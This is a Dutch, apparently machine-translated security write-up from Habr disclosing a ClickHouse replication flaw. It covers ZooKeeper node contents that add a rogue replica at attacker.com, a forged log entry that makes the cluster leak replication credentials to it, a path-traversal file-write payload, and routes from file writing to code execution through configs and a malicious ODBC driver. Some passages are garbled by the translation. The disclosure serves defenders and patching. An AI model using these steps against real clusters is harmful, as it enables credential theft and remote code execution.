Dit artikel vertelt het verhaal van een zeer specifieke kwetsbaarheid in het ClickHouse-replicatieprotocol en laat ook zien hoe het aanvalsoppervlak kan worden uitgebreid.
ClickHouse is een database voor het opslaan van grote hoeveelheden gegevens, waarbij meestal meer dan één replica wordt gebruikt. Clustering en replicatie in ClickHouse zijn daar bovenop gebouwd
De standaard ZK-installatie vereist geen authenticatie, dus duizenden ZK-servers die worden gebruikt om Kafka, Hadoop en ClickHouse te configureren, zijn openbaar beschikbaar.
Om uw aanvalsoppervlak te verkleinen, moet u altijd authenticatie en autorisatie configureren wanneer u ZooKeeper installeert
Er zijn natuurlijk enkele op 0day gebaseerde Java-deserialisaties, maar stel je voor dat een aanvaller ZooKeeper zou kunnen lezen en schrijven, dat wordt gebruikt voor ClickHouse-replicatie.
Indien geconfigureerd in clustermodus, ondersteunt ClickHouse gedistribueerde zoekopdrachten /clickhouse/task_queue/ddl
.
U maakt bijvoorbeeld een knooppunt /clickhouse/task_queue/ddl/query-0001
met inhoud:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
en daarna wordt de testtabel verwijderd op de clusterservers host1 en host2. DDL ondersteunt ook het uitvoeren van CREATE/ALTER/DROP-query's.
Klinkt eng? Maar waar kan een aanvaller serveradressen vandaan halen?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
knooppunten worden gemaakt kolommen ΠΈ metadata.
Inhoud /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Is het mogelijk om gegevens uit dit cluster samen te voegen? Ja, als de replicatiepoort (TCP/9009
) op de server chXX-address
de firewall wordt niet gesloten en authenticatie voor replicatie wordt niet geconfigureerd. Hoe authenticatie omzeilen?
Een aanvaller kan een nieuwe replica in ZK maken door eenvoudigweg de inhoud ervan te kopiΓ«ren /clickhouse/tables/01-01/foobar/replicas/chXX
en de betekenis veranderen host
.
Inhoud /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Vervolgens moet je de andere replica's vertellen dat er een nieuw gegevensblok op de server van de aanvaller staat dat ze moeten gebruiken - er wordt een knooppunt gemaakt in ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotoon groeiende teller, die groter zou moeten zijn dan de laatste in het gebeurtenislogboek):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
waar bron_replica β de naam van de replica van de aanvaller die in de vorige stap is gemaakt, blok_id β gegevensblokidentificatie, krijgen - commando "get block" (en
Vervolgens leest elke replica een nieuwe gebeurtenis in het logboek en gaat naar een server die wordt beheerd door de aanvaller om een ββblok gegevens te ontvangen (het replicatieprotocol is binair en draait bovenop HTTP). Server attacker.com
ontvangt verzoeken:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
waarbij XXX de authenticatiegegevens voor replicatie zijn. In sommige gevallen kan dit een account zijn met toegang tot de database via het hoofdprotocol ClickHouse en het HTTP-protocol. Zoals je hebt gezien, wordt het aanvalsoppervlak kritisch groot omdat ZooKeeper, dat voor replicatie wordt gebruikt, geen authenticatie heeft geconfigureerd.
Laten we eens kijken naar de functie van het verkrijgen van een gegevensblok uit een replica. Het is geschreven met het volste vertrouwen dat alle replica's onder de juiste controle staan ββen dat er vertrouwen tussen hen bestaat.
replicatieverwerkingscode
De functie leest een lijst met bestanden, vervolgens hun namen, groottes en inhoud, en schrijft ze vervolgens naar het bestandssysteem. Het is de moeite waard om afzonderlijk te beschrijven hoe gegevens in het bestandssysteem worden opgeslagen.
Er zijn verschillende submappen in /var/lib/clickhouse
(standaard opslagmap uit het configuratiebestand):
vlaggen - map voor opname
tmp β map voor het opslaan van tijdelijke bestanden;
gebruikersbestanden β bewerkingen met bestanden in verzoeken zijn beperkt tot deze map (INTO OUTFILE en andere);
metadata β sql-bestanden met tabelbeschrijvingen;
voorverwerkte_configs - verwerkte afgeleide configuratiebestanden van /etc/clickhouse-server
;
gegevens - de eigenlijke map met de gegevens zelf, in dit geval wordt hier voor elke database eenvoudigweg een aparte submap aangemaakt (bijvoorbeeld /var/lib/clickhouse/data/default
).
Voor elke tabel wordt een submap aangemaakt in de databasemap. Elke kolom is een afzonderlijk bestand, afhankelijk van
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
De replica verwacht bij het verwerken van een gegevensblok bestanden met dezelfde namen te ontvangen en valideert deze op geen enkele manier.
De oplettende lezer heeft waarschijnlijk al gehoord van de onveilige aaneenschakeling van bestandsnaam in een functie WriteBufferFromFile
. Ja, hierdoor kan een aanvaller willekeurige inhoud naar elk bestand op de FS met gebruikersrechten schrijven clickhouse
. Om dit te doen, moet de replica die door de aanvaller wordt bestuurd, het volgende antwoord op het verzoek retourneren (regeleinden zijn toegevoegd voor een beter begrip):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
en na aaneenschakeling ../../../../../../../../../tmp/pwned
het bestand wordt geschreven /tmp/pwned met inhoud hallovandierenverzorger.
Er zijn verschillende opties om de mogelijkheid om bestanden te schrijven om te zetten in Remote Code Execution (RCE).
Externe woordenboeken in RCE
In oudere versies werd de map met ClickHouse-instellingen opgeslagen met gebruikersrechten klikhuis standaard. Instellingenbestanden zijn XML-bestanden die de service bij het opstarten leest en vervolgens in de cache opslaat /var/lib/clickhouse/preprocessed_configs
. Wanneer er wijzigingen optreden, worden deze opnieuw gelezen. Als u toegang heeft tot /etc/clickhouse-server
een aanvaller kan zijn eigen aanval creΓ«ren root
.
ODBC naar RCE
Wanneer u een pakket installeert, wordt er een gebruiker aangemaakt clickhouse
, maar de thuismap wordt niet gemaakt /nonexistent
. Wanneer beheerders echter externe woordenboeken gebruiken of om andere redenen, maken ze een map aan /nonexistent
en geef de gebruiker clickhouse
toegang om ernaar te schrijven (SSZB! ca. vertaler).
ClickHouse ondersteunt odbc-bridge
, dus het is niet langer mogelijk om het stuurprogrammapad uit de aanvraag op te geven. Maar kan een aanvaller via de hierboven beschreven kwetsbaarheid naar de thuismap schrijven?
Laten we een bestand maken ~/.odbc.ini
met inhoud als deze:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
dan bij het opstarten SELECT * FROM odbc('DSN=lalala', 'test', 'test');
de bibliotheek wordt geladen test.so
en ontving RCE (bedankt
Deze en andere kwetsbaarheden zijn opgelost in ClickHouse versie 19.14.3. Zorg goed voor uw ClickHouse en ZooKeepers!
Bron: www.habr.com